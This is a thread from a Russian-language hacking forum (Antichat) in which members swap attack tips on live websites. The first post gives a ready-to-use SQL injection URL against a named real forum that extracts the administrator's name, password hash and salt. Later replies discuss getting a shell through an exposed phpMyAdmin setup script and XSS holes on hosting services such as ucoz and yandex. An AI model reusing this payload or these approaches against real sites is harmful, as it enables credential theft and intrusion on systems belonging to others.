HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11121  
Старый 07.01.2010, 15:35
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
С нами: 9428066

Репутация: 1668
По умолчанию

2 Nightmarе
или так
Код:
http://www.webdevsforum.com/index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[]=1)union(select+1,2,3,4,concat_ws(0x3a,name,password,pass_salt),6,7,8,9+from+forum_members+where+id=1)+--+
 
Ответить с цитированием

  #11122  
Старый 07.01.2010, 15:56
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами: 9555536

Репутация: 95
По умолчанию

что можно поиметь с этого: _http://vulns.ru/myadmin/scripts/setup.php
реально ли добавить новую БД или попасть в текущую?
 
Ответить с цитированием

  #11123  
Старый 07.01.2010, 16:03
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
С нами: 9419426

Репутация: 648
По умолчанию

Цитата:
Сообщение от jecka3000  
что можно поиметь с этого: _http://vulns.ru/myadmin/scripts/setup.php
реально ли добавить новую БД или попасть в текущую?
Там нет директории конфига, поэтому перезаписать конфиг шеллом не получится.
 
Ответить с цитированием

  #11124  
Старый 07.01.2010, 16:07
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами: 9555536

Репутация: 95
По умолчанию

Root-access, ясно, то есть ничего полезного из этого не сделаешь?
 
Ответить с цитированием

  #11125  
Старый 07.01.2010, 16:11
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
С нами: 9419426

Репутация: 648
По умолчанию

Цитата:
Сообщение от jecka3000  
Root-access, ясно, то есть ничего полезного из этого не сделаешь?
Ну хз, разве что если в этом скрипте есть инъекция или хсс.
 
Ответить с цитированием

  #11126  
Старый 07.01.2010, 16:24
Paul_Eckman
Участник форума
Регистрация: 10.11.2009
Сообщений: 122
С нами: 8685055

Репутация: 199
По умолчанию

По вашему опыту: хсс-уязвимости могут быть на сайтах на базе ucoz.ru, at.ua, yandex.ru и т.п.?
 
Ответить с цитированием

  #11127  
Старый 07.01.2010, 16:26
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами: 9510146

Репутация: 1550


По умолчанию

Цитата:
Сообщение от Paul_Eckman  
По вашему опыту: хсс-уязвимости могут быть на сайтах на базе ucoz.ru, at.ua, yandex.ru и т.п.?
Были\есть на всех вышеуказанных сервисах.
 
Ответить с цитированием

  #11128  
Старый 07.01.2010, 16:28
Paul_Eckman
Участник форума
Регистрация: 10.11.2009
Сообщений: 122
С нами: 8685055

Репутация: 199
По умолчанию

Спасибо! Обнаруживаются только с помощью сканеров или вручную тоже можно?
 
Ответить с цитированием

  #11129  
Старый 07.01.2010, 16:29
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами: 9510146

Репутация: 1550


По умолчанию

Цитата:
Сообщение от Paul_Eckman  
Спасибо! Обнаруживаются только с помощью сканеров или вручную тоже можно?
Только вручную, о каких сканерах может в таких сулчаях ерчь идти вообще оО
 
Ответить с цитированием

  #11130  
Старый 07.01.2010, 16:33
Paul_Eckman
Участник форума
Регистрация: 10.11.2009
Сообщений: 122
С нами: 8685055

Репутация: 199
По умолчанию

Не знаю) Я в этом деле пока ламер. Несколько штук обнаруживала вручную, но говорят, что со сканерами эффективнее.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.